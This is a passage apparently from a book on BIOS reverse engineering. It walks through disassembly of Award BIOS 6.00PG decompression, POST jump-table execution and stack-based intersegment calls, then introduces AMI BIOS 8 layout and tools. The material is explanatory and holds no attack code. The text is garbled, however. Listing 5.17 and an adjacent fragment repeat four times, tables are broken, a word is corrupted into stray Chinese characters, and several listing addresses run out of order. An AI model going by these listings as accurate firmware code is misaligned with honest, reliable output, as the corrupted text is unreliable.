1000:B3EF movzx bx, lzh_hdr_len
1000:B3F4 sub bx, 5
1000:B3F7 mov cx, 2
1000:B3FA call Get_LZH_Hdr_Bytes
1000:B3FD mov LZH_hdr_crc16_val, ax
1000:B400 mov bx, 13h
1000:B403 mov bl, [bx+0]
1000:B407 mov ax, 14h
1000:B40A add bx, ax
1000:B40C mov byte ptr [bx+0], 24h ; '$'
1000:B411 mov byte ptr [bx+1], 0
1000:B416 clc
1000:B417 exit: ; ...
1000:B417 popa
1000:B418 retn
1000:B418 Fetch_LZH_Hdr_Info endp

********
1000:B2D8 Read_Basic_LZH_Hdr proc near ; ...
1000:B2D8 pusha
1000:B2D9 movzx cx, lzh_hdr_len
1000:B2DE push es
1000:B2EO mov si, 0
1000:B2E3 mov ax, 2
1000:B2E6 next_hdr_byte: ; ...
1000:B2E9 mov bx, src_lo_word
1000:B2ED call get_src_byte
1000:B2F0 mov [si], al
1000:B2F2 pop ax
1000:B2F3 inc ax
1000:B2F4 inc si
1000:B2F5 loop next_hdr_byte
1000:B2F7 sub ax, 2
1000:B2FA pop si
1000:B2FB pop es
1000:B2FC mov lzh_hdr_len, al
1000:B2FF mov cx, ax
1000:B301 add word ptr orig_size, ax
1000:B305 inc cx
1000:B306 mov bx, 0
1000:B309 next_byte: ; ...
1000:B30C dec cx
1000:B30F call patch_crc16 ; Patch the new crc16 value
1000:B312 inc bx
1000:B313 jmp short next_byte
1000:B315 exit: ; ...
1000:B315 popa
1000:B316 retn
1000:B316 Read_Basic_LZH_Hdr endp

........
1000:B337 Calc_LZH_Hdr_8bit_sum proc near ; ...
1000:B337 push bx
1000:B338 push cx
1000:B339 push dx
1000:B33A mov ax, 0
1000:B33D movzx cx, lzh_hdr_len
1000:B342 next_hdr_byte: ; ...
1000:B344 movzx bx, lzh_hdr_len
1000:B347 sub bx, cx -
1000:B349 movzx dx, byte ptr [bx+0]
1000:B34E add ax, dx

38
1000:B350 loop next_hdr_byte
1000:B352 pop dx
1000:B353 pop cx
1000:B354 pop bx
1000:B355 and ax, 0FFh
1000:B356 retn
1000:B358 Calc_LZH_Hdr_8bit_sum endp

.........
1000:B359 ; in: cx = byte_count
1000:B359 ; bx = byte_index
1000:B359 ; out: eax = bytes read
1000:B359
1000:B359 Get_LZH_Hdr_Bytes proc near ; ...
1000:B359 push bx
1000:B35A push edx
1000:B35C push si
1000:B35D xor eax, eax
1000:B360 dec bx
1000:B361 inc cx
1000:B362 next_byte?: ; ...
1000:B362 dec cx
1000:B363 jcxz short exit
1000:B365 shl eax, 8
1000:B369 mov si, bx
1000:B36B add si, cx
1000:B36D movzx edx, byte ptr [si+0]
1000:B373 add eax, edx
1000:B376 jmp short next_byte?
1000:B378 exit:
1000:B378 pop si
1000:B379 pop edx
1000:B37B pop bx
1000:B37C retn
1000:B37C Get_LZH_Hdr_Bytes endp

.........
2000:E561 call near ptr Decompress_System_BIOS
2000:E564 ; ----------------------------------------
2000:E566 chk_sum_error: ; ...
2000:E566 push 2000h
2000:E569 pop ds
2000:E56A assume ds:_20000h
2000:E56A mov dword_2000_FFF4, '/11='
2000:E563 mov dword_2000_FFFC, 0CFFC0039h
2000:E565 mov ax, 1000h
2000:E568 System_BIOS_dcmprssion_OK; ...
2000:E568 System_BIOS_dcmprssion_OK: ; ...
After looking at these exhaustive lists of disassembly, construct the memory map of the BIOS components just after the system BIOS decompressed (table 5.3).

<table>
<thead>
<tr>
<th>Starting Address of BIOS Component in RAM (Physical Address)</th>
<th>Size (in KB)</th>
<th>Decompression Status</th>
<th>Component Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>5_0000h</td>
<td>128</td>
<td>Decompressed to RAM beginning at address in column one.</td>
<td>This is the system BIOS, i.e., the main BIOS code. Sometimes it is called original.tmp.</td>
</tr>
<tr>
<td>30_0000h</td>
<td>512</td>
<td>Not decompressed yet</td>
<td>This is the copy of the overall BIOS binary, i.e., the image of the BIOS binary in RAM.</td>
</tr>
</tbody>
</table>

Table 5.3 BIOS binary mapping in memory after system BIOS decompression

Some notes regarding the preceding decompression routine:

1. Part of the decompression code calculates the 16-bit cyclic redundancy check (CRC-16) value of the compressed component during the decompression process.
2. The decompression routine is using segment 3000h as a scratch-pad area in RAM for the decompression process. This scratch-pad area spans from 3_0000h to 3_8000h, and it's 32 KB in size. It's initialized to zero before the decompression starts. The memory map of this scratch-pad area is as shown in table 5.4.

<table>
<thead>
<tr>
<th>Starting Index in the scratchpad Segment</th>
<th>Size (in Bytes)</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>...</td>
<td>...</td>
<td>...</td>
</tr>
<tr>
<td>371Ch</td>
<td>2000h</td>
<td>Buffer. This area stores the &quot;sliding window,&quot; i.e.,</td>
</tr>
<tr>
<td></td>
<td>(8 KB)</td>
<td></td>
</tr>
<tr>
<td>-----</td>
<td>-----------------------------------------------------------------------</td>
<td></td>
</tr>
<tr>
<td><strong>571Ch</strong></td>
<td>the temporary result of the decompression process before being copied to the destination address.</td>
<td></td>
</tr>
<tr>
<td><strong>571Dh</strong></td>
<td>LHA header length.</td>
<td></td>
</tr>
<tr>
<td><strong>...</strong></td>
<td>LHA header sum (8-bit sum).</td>
<td></td>
</tr>
</tbody>
</table>

Table 5.4 Memory map of scratch-pad used by the decompression engine

3. In this stage, only the system BIOS that is decompressed. It is decompressed to segment \(5000h\) and later will be relocated to segment \(E000h–F000h\). Other compressed components are not decompressed yet. However, their original header information was stored at \(0000:6000h–0000:6xxxh\) in RAM. Among this information were the starting addresses\(^{10}\) of the compressed component. Subsequently, their destination segments were patched to \(4000h\) by the Decompression Engine procedure in the BIOS binary image at \(30_0000h–37_FFFFh\). This can be done because not all of those components will be decompressed at once. They will be decompressed one by one during system BIOS execution and relocated from segment \(4000h\) as needed.

4. The \(40xxh\) in the header\(^{11}\) behaves as an ID that works as follows:
   - \(40\) (hi-byte) is an identifier that marks it as an "Extension BIOS" to be decompressed later during original.tmp execution.
   - \(xx\) is an identifier that will be used in system BIOS execution to refer to the component's starting address within the image of the BIOS binary\(^{12}\) to be decompressed. This will be explained more thoroughly in the system BIOS explanation later.

5.1.3. Award System BIOS Reverse Engineering

I'll proceed as in the boot block in the previous section: I'll just highlight the places where the "code execution path" is obscure. By now, you're looking at the disassembly of the decompressed system BIOS of the Foxconn motherboard.

5.1.3.1. Entry Point from the "Boot Block in RAM"

This is where the boot block jumps after relocating and write-protecting the system BIOS.

---

\(^{10}\) The starting address is in the form of a physical address.

\(^{11}\) The \(40xxh\) value is the destination segment of the LHA header of the compressed component.

\(^{12}\) This image of the BIOS binary is already copied to RAM at \(30_0000h–37_FFFFh\).
5.1.3.2. POST Jump Table Execution

The execution of the POST jump table in Award BIOS version 6.00PG is a bit different from Award version 4.50PGNM. In the older version, two different POST jump tables were executed one after the other, and in Award BIOS version 6.00PG the execution of the smaller jump table is "embedded" as part of the "main" POST jump table execution. This can be seen in the disassembled code in listing 5.16. The entries in the POST jump table that are commented as dummy procedures in listing 5.16 accomplish nothing. They just return when they are called or merely clear the carry flag and then return. Remember that the contents of the jump table are addresses of the POST procedures in the same segment as the jump table.

From the boot block section, you know that at this point only the system BIOS has been decompressed, out of the entire compressed component in the BIOS binary. And you know that the decompression block is located at segment 1000h in RAM. However, I will show later that this decompression engine will be relocated elsewhere and segment 1000h will be used by awardext.rom.

Listing 5.16 POST Jump Table Execution

```
F000:EE0F start_sys_bios: ; ...
F000:EE0F mov ax, 0
F000:EE12 mov ss, ax ; Setup stack at segment 0000h
F000:EE14 mov sp, 0F00h
F000:EE17 call setup_stack
F000:EE1A call Eseg_Read_Write_Enable
F000:EE1D mov si, 5000h
F000:EE20 mov di, 0E000h
F000:EE23 mov cx, 8000h
F000:EE26 call _copy_seg
F000:EE29 call Eseg_Read_Enable
F000:EE2C mov byte ptr [bp+228h], 0
F000:EE31 mov si, 73E0h
F000:EE34 call Read_CMOS??
F000:EE37 push 0E000h
F000:EE3A push si
F000:EE3B retf ; E000:73E0h - execute POST
........
E000:73E0 mov cx, 1
E000:73E3 mov di, 740Bh
E000:73E6 call exec_POST_jump_table
```
E000:73E9  jmp  halt_machine
E000:73EC  
E000:73EC  exec_POST_jump_table  proc  near; ...
E000:73EE  mov  al, cl
E000:73EE  out  80h, al ; Manufacturer's diagnostic checkpoint
E000:73F0  push  0F000h
E000:73F3  pop  fs
E000:73F5  assume  fs:F000
E000:73F8  mov  ax, cs:[di]
E000:73F9  inc  di
E000:73FA  or  ax, ax
E000:73FC  jz  short  exit
E000:73FE  push  di
E000:73FF  push  cx
E000:7400  call  Additional_POST
E000:7403  call  ax
E000:7405  pop  cx
E000:7406  pop  di
E000:7407  inc  cx
E000:7408  jmp  short  exec_POST_jump_table
E000:740A  
E000:740A  exit: ; ...
E000:740A  retn
E000:740A  exec_POST_jump_table  endp
E000:740A ; ------------------------------------------------------------------------
E000:740B  Begin  POST  Jump  Table
E000:740B  dw  2277h ; Decompress  awardext.rom
E000:740D  dw  228Ah ; _ITEM.BIN  and  _EN_CODE.BIN
E000:740D  ; decompression (with relocation)
E000:740F  dw  22D3h
E000:7411  dw  22D8h ; Dummy  procedure
E000:7413  dw  22D9h
........
E000:7529  dw  6C34h ; Dummy  procedure
E000:752B  dw  6C36h ; Dummy  procedure
E000:752D  dw  6C38h ; Dummy  procedure
E000:752F  dw  6C3Ah
E000:7531  dw  6D44h
E000:7533  dw  6DE8h
E000:7535  dw  6EC1h
E000:7535  End  POST  Jump  Table
........
E000:79B0  Additional_POST  proc  near; ...
E000:79B0  pushad
E000:79B2  mov  si, 79E0h
E000:79B5  
E000:79B5  next_POST: ; ...
E000:79B5  cmp  byte  ptr  cs:[si], 0FFh
E000:79B9  jz  short  exit
E000:79BB  cmp  cs:[si], cl
E000:79BB ;
5.1.3.3. Decompression Block Relocation and awardext.rom Decompression

Listing 5.17 Decompression Block Relocation and awardext.rom Decompression

```
E000:2277 POST_1S proc near
E000:2277 call Reloc_Decompression_Block ; Relocate decompression
E000:2277 mov di, 8200h ; Awardext.rom index (ANDed with 0x3FFF). The 8 in the MSB denotes that the target segment must be patched, i.e., not using the default segment 4000h
E000:2277 mov si, 1000h ; Target segment
E000:2280 call near ptr Decompress_Component
E000:2283 jb short exit
E000:2285 call init_boot_flag
E000:2288```

```
E000:79BE jnz short next_POST_idx
E000:79C0 mov di, cs:[si+1]
E000:79C4 call di
E000:79C6
E000:79C6 next_POST_idx: ; ...
E000:79C6 add si, 3
E000:79C9 jmp short next_POST
E000:79CB
E000:79CB exit: ; ...
E000:79CB popad
E000:79CD retn
E000:79CD Additional_POST endp

5.1.3.3. Decompression Block Relocation and awardext.rom Decompression

Listing 5.17 Decompression Block Relocation and awardext.rom Decompression

```
E000:2277 ; POST_1S
E000:2277 call Reloc_Decompression_Block ; Relocate decompression block to seg 400h
E000:227A mov di, 8200h ; Awardext.rom index (ANDed with 0x3FFF). The 8 in the MSB denotes that the target segment must be patched, i.e., not using the default segment 4000h
E000:227A mov si, 1000h ; Target segment
E000:2280 call near ptr Decompress_Component
E000:2283 jb short exit
E000:2285 call init_boot_flag
E000:2288```

```
E000:79BE jnz short next_POST_idx
E000:79C0 mov di, cs:[si+1]
E000:79C4 call di
E000:79C6
E000:79C6 next_POST_idx: ; ...
E000:79C6 add si, 3
E000:79C9 jmp short next_POST
E000:79CB
E000:79CB exit: ; ...
E000:79CB popad
E000:79CD retn
E000:79CD Additional_POST endp

5.1.3.3. Decompression Block Relocation and awardext.rom Decompression

Listing 5.17 Decompression Block Relocation and awardext.rom Decompression

```
E000:2277 ; POST_1S
E000:2277 call Reloc_Decompression_Block ; Relocate decompression block to seg 400h
E000:227A mov di, 8200h ; Awardext.rom index (ANDed with 0x3FFF). The 8 in the MSB denotes that the target segment must be patched, i.e., not using the default segment 4000h
E000:227A mov si, 1000h ; Target segment
E000:2280 call near ptr Decompress_Component
E000:2283 jb short exit
E000:2285 call init_boot_flag
E000:2288```

```
E000:79BE jnz short next_POST_idx
E000:79C0 mov di, cs:[si+1]
E000:79C4 call di
E000:79C6
E000:79C6 next_POST_idx: ; ...
E000:79C6 add si, 3
E000:79C9 jmp short next_POST
E000:79CB
E000:79CB exit: ; ...
E000:79CB popad
E000:79CD retn
E000:79CD Additional_POST endp

5.1.3.3. Decompression Block Relocation and awardext.rom Decompression

Listing 5.17 Decompression Block Relocation and awardext.rom Decompression

```
E000:2277 ; POST_1S
E000:2277 call Reloc_Decompression_Block ; Relocate decompression block to seg 400h
E000:227A mov di, 8200h ; Awardext.rom index (ANDed with 0x3FFF). The 8 in the MSB denotes that the target segment must be patched, i.e., not using the default segment 4000h
E000:227A mov si, 1000h ; Target segment
E000:2280 call near ptr Decompress_Component
E000:2283 jb short exit
E000:2285 call init_boot_flag
E000:2288```
E000:2288 exit:                             ; ...
E000:2288 clc
E000:2289 retn
E000:2289 POST_1S endp ; sp = 2

........
E000:2232 Reloc_Decompression_Block proc near ; ...
E000:2232 mov bx, 1000h
E000:2235 mov es, bx
E000:2237 assume es:seg_01
E000:2237 push cs
E000:2238 pop ds
E000:2239 assume ds:n指向ing
E000:2239 xor di, di
E000:223B cld
E000:223C
E000:223C next_lower_16_bytes:        ; ...
E000:223C lea si, _AwardDecompressionBios ; "= Award Decompression
E000:223C ; Bios ="
E000:223C push di
E000:2241 mov cx, 1Ch
E000:2244 repe cmpsb
E000:2246 pop di
E000:2247 jz short dcomprssion_engine_found
E000:2249 add di, 10h
E000:224C jmp short next_lower_16_bytes
E000:224E ; -----------
E000:224E dcomprssion_engine_found: ; ...
E000:224E mov [bp+2F3h], di
E000:2252 push es
E000:2253 pop ds
E000:2254 assume ds:seg_01
E000:2254 push di
e000:2255 pop si
E000:2256 push 0
E000:2258 pop es
E000:2259 assume es:n指向ing
E000:2259 sub es:6000h, di ; Update decompression engine
E000:2259 ; offset to 0x734 (0xB0F4 - 0xA9C0)
E000:2259 ; now decompression engine
E000:2259 ; at 400:734h
E000:225B mov bx, 400h
E000:2261 mov es, bx
E000:2263 assume es:seg000
E000:2263 xor di, di
E000:2265 mov cx, 800h
E000:2268 cld
E000:2269 rep movsw
E000:226B mov bx, 400h
E000:226E mov es, bx
E000:2270 mov byte ptr es:unk_400_FFF, 0CBh ; '-'
In the code in listing 5.17, the decompression block is found by searching for the `Award Decomp string`. The code then relocates the decompression block to segment 400h. This code is the part of the first POST routine. As you can see from the previous section, there is no "additional" POST routine carried out before this routine because there is no "index" in the additional POST jump table for POST number 1.

Recall from boot block section that you know that the starting physical address of the compressed BIOS components in the image of the BIOS binary at 30_0000h–37_FFFFh has been saved to RAM at 6000h–6400h during the execution of the decompression engine. In addition, this starting address is stored in that area by following this formula:

\[
\text{address}\_\text{in}\_6\text{xxxh} = 6000h + 4*(\text{lo}\_\text{byte}(\text{destination}\_\text{segment}\_\text{address})+1)
\]

Note that `destination_segment_address` is starting at offset 11h from the beginning of every compressed component.\(^\text{13}\) By using this formula, you can find out which component is decompressed on a certain occasion. In this particular case, the decompression routine is called with 8200h as the index parameter. This breaks down to the following:

\[
\text{lo}\_\text{byte}(\text{destination}\_\text{segment}\_\text{address}) = ((8200h \& 0x3FFF)/4) - 1
\]

\[
\text{lo}\_\text{byte}(\text{destination}\_\text{segment}\_\text{address}) = 0x7F
\]

This value (7Fh) corresponds to compressed awardext.rom because it's the value in the awardext.rom header, i.e., awardext.rom's "destination segment" is 407Fh. Note that preceding the binary \& operation mimics the decompression routine for extension components. The decompression routines will be clear later when I explain the decompression routine execution during POST.

### 5.1.3.4. Extension Components Decompression

Listing 5.18 Extension Components Decompression

```assembly
E000:72CF ret
E000:72CF Reloc_Decompression_Block endp

E000:72CF ; in: di = component index
E000:72CF ; si = target segment
E000:72CF Decompress_Component proc far ; ...
E000:72CF push ds
E000:72DO push es
```

\(^{13}\) The offset is calculated by including the preheader.
E000:72D1 push bp
E000:72D2 push di
E000:72D3 push si
E000:72D4 and di, 3FFFh
E000:72D8 cli
E000:72D9 mov al, 0FFh ; Enable cache
E000:72DA call F0_mod_cache_stat
E000:72DB call es_ds_enter_voodoo
E000:72DE pop dx ; dx = si - target segment
E000:72E2 pop ax ; ax = di - component index
E000:72E8 push cx ; Save decompression target
E000:72EC mov cx, es:[ebx+0Fh] ; Save decompression target
E000:72F7 test ah, 40h
E000:72F8 jz extension_component
E000:7300 clc
E000:7301 jmp exit
E000:7304 extension_component: ; ...
E000:7304 mov di, es:6000h ; di = decompression engine offset
E000:730A ; (734h)
E000:730F mov cx, es:[ebx+0Fh] ; Save decompression target
E000:7312 ; offset to stack
E000:7318 push cx
E000:7319 push word ptr es:[ebx] ; Save header sum and
E000:731E test ah, 80h ; Must the target segment be
E000:731F jz short call_decompngine ; If no (target segment
E000:7322 ; need not be patched), jump
E000:7325 push ax
E000:7326 jnz short patch_trgt_seg
E000:732B mov cx, es:[ebx+0Fh]
E000:732F mov es:[ebx+0Fh], dx
E000:7332 jmp short patch_hdr_sum
E000:7332 ; ---------------------------------------------
E000:7334 ; ----------
E000:7335 patch_trgt_seg:
E000:7335 mov es:[ebx+11h], dx ; Patch target segment in LH8 hdr
E000:7338 patch_hdr_sum: ; ...
E000:733A db 90h ; Ð
E000:733B ; ---------------------------------------------
It's clear in the call to the decompression block in listing 5.18 that everything is similar to the decompression during the execution of the boot block in RAM. However, there are some things to note:
• Consider the amount of component handled. The preceding Decompress_Component routine only decompress one component during its execution, whereas the Decompress_System_BIOS routine in the boot block decompress the system BIOS and saves the information pertaining to the compressed extension component to RAM.

• If the input parameter for Decompress_Component in the di register has its MSB set and the value in di is not equal to F0h, the target segment for the decompression is not the default target segment for the extension components, i.e., not segment 4000h.

• If the input parameter for Decompress_Component in the di register has its MSB set and the value in di is equal to F0h, the target offset for the decompression is not the default target offset for the extension components, i.e., not offset 0000h. Apart from these things, the decompression process is uses the same decompression engine as the one used during boot block execution.

5.1.3.5. Exotic Intersegment Procedure Call

There are some variations of intersegment procedure call in Award BIOS version 6.00PG system BIOS, along with the extension to the system BIOS. Delve into them one by one.

Listing 5.19 The First Variant of E000h Segment to F000h Segment Procedure Call

```
E000:70BE F0_mod_cache_stat proc near ; ...
E000:70BE  push cs
E000:70BF  push offset exit
E000:70C2  push offset locret_F000_EC31
E000:70C5  push offset mod_cache_stat ; Calling F000 seg procedure
E000:70C5  ; at F000:E55E
E000:70C8  jmp   far ptr locret_F000_EC30
E000:70CD ; ----------------------------------------------------------
E000:70CD exit: ; ...
E000:70CD  retn
E000:70CD  F0_mod_cache_stat endp
........
F000:EC30 locret_F000_EC30: ; ...
F000:EC30  retn
F000:EC31 ; ----------------------------------------------------------
F000:EC31
F000:EC31 locret_F000_EC31: ; ...
F000:EC31 retf
........
F000:E55E mod_cache_stat proc near ; ...
F000:E55E  mov  ah, al
F000:E560  or   ah, ah
```

49
As you can see in listing 5.19, the procedure in the F000h segment (F_seg) is called by using a weird stack trick. It may not be obvious how the instruction in the procedure in listing 5.19 can suddenly point to the right destination procedure offset. I'm using the IDA Pro SetFixup internal function to accomplish it. As an example, I present the script to convert the instruction at address E000:70C5h to point to the right destination procedure offset.

Listing 5.20 Using IDA Pro SetFixup Function

```plaintext
SetFixup(0xE70C5, FIXUP_OFF16, 0xF000,0,0);
```

There is a second form of the E_seg to F_seg intersegment, call as shown in listing 5.21.

Listing 5.21 The Second Variant of E000h Segment to F000h Segment Procedure Call

```plaintext
E000:F046 reinit_cache proc near ; ...
E000:F046 pushad
E000:F048 mov al, 0FFh
E000:F04A push cs
E000:F04B push offset exit
E000:F04E push offset mod_cache_stat ; Calling F000 seg procedure
E000:F04E ; at F000:E55E
E000:F051 jmp far ptr loc_E000_6500
E000:F056 ; -----------------------------------------------
E000:F056 exit: ; ...
E000:F056 popad
E000:F058 retn
E000:F058 reinit_cache endp
........
E000:6500 loc_E000_6500: ; ...
E000:6500 push 0EC31h
E000:6503 push ax
```

........
E000:6500 loc_E000_6500: ; ...
E000:6500 push 0EC31h
E000:6503 push ax
The decompressed system BIOS extension in segment 1000h also has some form of intersegment procedure call to execute the "services" of the system BIOS. An example is show in listing 5.22.

Listing 5.22 1000h Segment (XGROUP Segment) to E000h Segment Procedure Call

1000:AF76 Decompress_ITEM_BIN proc far ; ...  
1000:AF76 mov di, 82D8h  
1000:AF79 mov si, 2000h  
1000:AF7C push cs  
1000:AF7D push offset exit  
1000:AF80 push offset Decompress_Component  
1000:AF83 jmp far ptr loc_F000_1C12  
1000:AF88 ; ----------------------------------------  
1000:AF88 exit: ; ...  
1000:AF88 mov word ptr ss:OF04h, 2000h  
1000:AF8F retf  
1000:AF8F Decompress_ITEM_BIN endp  

........  
F000:1C12 loc_F000_1C12: ; ...  
F000:1C12 push 6901h  
F000:1C15 push ax  
F000:1C16 pushf  
F000:1C17 cli  
F000:1C18 xchg bp, sp  
F000:1C1A mov ax, [bp+4]  
F000:1C1D xchg ax, [bp+6]  
F000:1C20 mov [bp+4], ax  
F000:1C23 xchg bp, sp  
F000:1C25 popf  
F000:1C26 pop ax  
F000:1C27 jmp far ptr locret_E000_6900  
........
The system BIOS at segment E000h also calls "services" provided by the system BIOS extension.

Listing 5.23 The First Variant of E000h Segment to XGROUP Segment Procedure Call

```
E000:6900 locret_E000_6900: ; ...
E000:6900 retn
E000:6901 ; ----------------------------------------------
E000:6901 retf

The system BIOS at segment E000h also calls "services" provided by the system BIOS extension.

Listing 5.23 The First Variant of E000h Segment to XGROUP Segment Procedure Call

E000:56FF sub_E000_56FF proc near ; ...
E000:56FF ; FUNCTION CHUNK AT 1000:0009 SIZE 00000003 BYTES
E000:56FF
E000:56FF push cs
E000:5700 push offset continue
E000:5703 push offset sub_1000_4DD6 ; Calling XGROUP seg procedure
E000:5703 ; at 1000:4DD6
E000:5706 jmp far ptr loc_1000_9
E000:570B continue:
E000:570B call sub_E000_D048
E000:570E call sub_E000_D050
E000:5711 retn
E000:5711 sub_E000_56FF endp
........
1000:0009 loc_1000_9; ; ...
1000:0009 push 8
1000:000C push ax
1000:000D pushf
1000:000E cli
1000:000F xchg bp, sp
1000:0011 mov ax, [bp+4]
1000:0014 xchg ax, [bp+6]
1000:0017 mov [bp+4], ax
1000:001A xchg bp, sp
1000:001C popf
1000:001D pop ax
1000:001E jmp short locret_1000_7
........
1000:0007 locret_1000_7; ; ...
1000:0007 retn
1000:0008 ; -----------------------------------------------
1000:0008 retf
........
1000:4DD6 sub_1000_4DD6 proc near ; ...
1000:4DD6 call sub_1000_4E2D
1000:4DD9 mov cl, 0Ah
1000:4DB8 call sub_1000_4E05
```
Now, proceed to the convoluted procedure call from E_seg to F_seg, courtesy of the Award BIOS engineers. I don't know why they do this. Just see how it works. I present one example and then analyze the stack handling to see how it works. Call this method call_Fseg_1.

Listing 5.24 The Third Variant of E000h Segment to F000h Segment Procedure Call

```
E000:E8B0 word_E000_E8B0 dw 0F000h ; ...
...........
E000:98C8 push 1B42h
E000:98CB call near ptr call_Fseg_1
E000:98CE mov cx, 100h
...........
E000:E8B9 call_Fseg_1 proc far ; ...
E000:E8B9 push cs
E000:E8BA push offset locret_E000_E913
E000:E8BD push cs:word_E000_E8B0
E000:E8C2 push 8017h
E000:E8C5 push ax
E000:E8C6 jmp short loc_E000_E8D2
E000:E8C6 call_Fseg_1 endp
...........
E000:E8D2 loc_E000_E8D2: ; ...
E000:E8D2 push cs:word_E000_E8B0
E000:E8D7 push 8016h
E000:E8DA jmp short inter_seg_call
...........
E000:E8FD inter_seg_call: ; ...
E000:E8FD push ax
E000:E8FE pushf
E000:E8FF cli
E000:E900 xchg bp, sp
E000:E902 mov ax, [bp+20]
E000:E905 mov [bp+8], ax
E000:E908 mov ax, [bp+18]
E000:E90B mov [bp+20], ax
E000:E90E xchg bp, sp
E000:E910 popf
E000:E911 pop ax
E000:E912 retf
E000:E913 ; ---------------------------------------------------------------
E000:E913 locret_E000_E913: ; ...
```
If you don’t pay attention carefully, the code in listing 5.24 will seem convoluted. However, if you construct the stack values by following the code execution starting at E000:98C8, you’ll be able to grasp it quite easily. Note that the index added to the value of bp register in the disassembled code in listing 5.24 and in figure 5.3 is in decimal, not in hexadecimal. The stack values are shown in figure 5.3.

**call_Fseg_1 (at E000:98C8h) stack values**
when they are ready to be modified by **inter_seg_call**

![Diagram](image)

**Figure 5.3 Stack of the Third Variant of E000h Segment to F000h Segment Procedure Call**

---

54
Figure 5.3 clearly shows that the value of the ax register is not used. The ax register value merely serves as a placeholder. In listing 5.24, it’s also clear that the called procedure is returning immediately without accomplishing anything.

From this point on, call the system BIOS extension in RAM the XGROUP segment. The convoluted procedure call is also found on call from the E_seg to the XGROUP segment. Name this procedure call call_XGROUP_seg.

Listing 5.25 The Second Variant of E000h Segment to XGROUP Segment Procedure Call

```
E000:98EB  push  offset sub_1000_7C20
E000:98EE  call  near ptr call_XGROUP_seg
...........
E000:E8EB  call_XGROUP_seg proc far ; ...
E000:E8EB  push 1
E000:E8ED  push cs
E000:E8EE  push offset locret_E000_E913
E000:E8F1  push offset locret_1000_C506
E000:E8F4  push ax
E000:E8F5  push cs:word E000_E8B2
E000:E8FA  push offset locret_1000_C504
E000:E8FD
E000:E8FD  inter_seg_call:   ; ...
E000:E8FD  push ax
E000:E8FE  pushf
E000:E8FF  cli
E000:E900  xchg bp, sp
E000:E902  mov ax, [bp+20]
E000:E905  mov [bp+8], ax
E000:E908  mov ax, [bp+18]
E000:E90B  mov [bp+20], ax
E000:E90E  xchg bp, sp
E000:E910  popf
E000:E911  pop ax
E000:E912  retf
E000:E912  call_XGROUP_seg endp
...........
1000:7C20  sub_1000_7C20 proc near ; ...
1000:7C20  mov si, 7B8Ah
1000:7C23  mov di, 7B7Ah
1000:7C26  mov cx, 4
...........
1000:7C53  retn
1000:7C53  sub_1000_7C20 endp
```

Listing 5.25 shows a convoluted procedure call. As before, dissect this procedure call using a stack manipulation figure. Note that the index added to the value of the bp register in the disassembled code in listing 5.25 and in figure 5.4 is in decimal, not in hexadecimal. Figure 5.4 shows the stack manipulation story.
Figure 5.4 Stack of the Second Variant of E000h Segment to XGROUP Segment Procedure Call

Figure 5.4 clearly shows that the constant value 1 that's pushed to stack is not used and merely serves as a placeholder. The target procedure resides in the XGROUP segment, i.e., segment 1000h.

There's also a variation of this convoluted intersegment procedure call in the call from the E_seg to the F_seg procedure. I won't explain it in depth. However, I will present an example code. I think it's easy to figure out, because you've seen two kinds of variations of this procedure before. If it's still too hard to comprehend, draw the stack usage, like in figure 5.3 and 5.4.

Listing 5.26 The Fourth Variant of E000h Segment to F000h Segment Procedure Call

```
E000:98FA   push offset sub_F000_B1C
E000:98FD   call near ptr Call_Fseg_2
........
E000:E8C8   Call_Fseg_2 proc far ; ...
E000:E8C8   push 1
```
This section explains the execution of the core BIOS binary, i.e., the system BIOS. If you wish to find some routine within the system BIOS or wish to know more about the overall Award BIOS version 6.00PG code, follow the POST jump table execution to find the intended target. It’s only necessary if you don’t know the “binary signature” of the target.
routine in advance. If the binary signature\textsuperscript{14} is known, you can directly scan the target binary to find the routine. I delve more into this issue in the BIOS modification chapter.

5.2. AMI BIOS

In this section, I dissect a sample AMI BIOS binary based on AMI BIOS code version 8 (AMIBIOS8). AMI BIOS comes in several code bases. However, since 2002 AMI BIOS uses this version of the code base. The code base version is recognized by inspecting the binary. The \texttt{AMIBIOSC0800} string in the BIOS binary identifies the AMI BIOS binary as AMI BIOS code version 8.

The BIOS binary that dissected here is the BIOS for a Soltek SL865PE motherboard. The BIOS release date is September 14, 2004. This motherboard uses an Intel 865PE chipset. It only supports a 4-GB memory address space. You may want to download the datasheet of this chipset from Intel website to become accustomed to the system-wide addressing scheme of this chipset and the role of its PCI configuration register.

5.2.1. AMI BIOS File Structure

The structure of an AMI BIOS binary is similar to that of an Award BIOS binary. The boot block is placed in the highest address range within the binary, and the compressed components are placed below the boot block. Note that some padding bytes\textsuperscript{15} exist between them.

\textsuperscript{14} A binary signature is a unique block of bytes that represent unique block of machine instructions within an executable file.
\textsuperscript{15} The padding bytes in this BIOS are bytes with FFh values.
Figure 5.5 shows the mapping of the BIOS binary components in the system-wide address space of the respective motherboard. Note that the chipset dissected here is different from the one dissected in the Award BIOS section. The current chipset (Intel 865PE) only supports 4-GB addressing. That's why you don't see any mapping for an address range above the 4-GB limit in figure 5.5. I won't explain the mapping of the binary in detail because you see it from a hex editor and other binary mapping-related concepts. Please refer to section 5.1.1 in the Award BIOS section for that. You will be able to infer it on your own once you've grasped the concept explained there.

### 5.2.2. AMI BIOS Tools

AMI BIOS tools are not as widespread and complete as Award BIOS tools. AMI BIOS tools also can be harder to work with compared to Award BIOS tools. AMI BIOS tools found freely in the Web are as follows:

- *Amibcp* is a BIOS modification tool made by American Megatrends, the maker of AMI BIOS. This tool comes in several versions. Every version of the tool has its corresponding AMI BIOS code base that it can work with. If the code base version of the BIOS doesn't match the AMIBCP version, you can't modify the BIOS binary. AMIBCP allows you to change the values of the BIOS setup with it. However, altering the system BIOS in a more complicated modification is quite hard even with this tool.

- *Amideco* is the AMI BIOS binary decompressor, coded by Russian programmer Anton Borisov. This tool can show the compressed modules within the AMI BIOS binary, and it can decompress the compressed module within the BIOS binary. To
develop a decompressor like this one, you have to analyze the decompression block of the respective BIOS and then mimic that functionality in the decompressor program you have made.

I won't use the tool mentioned previously in the reverse engineering in this section. They are mentioned just in case you want to modify AMI BIOS, because you don't even need it to carry out the AMI BIOS reverse engineering shown here.

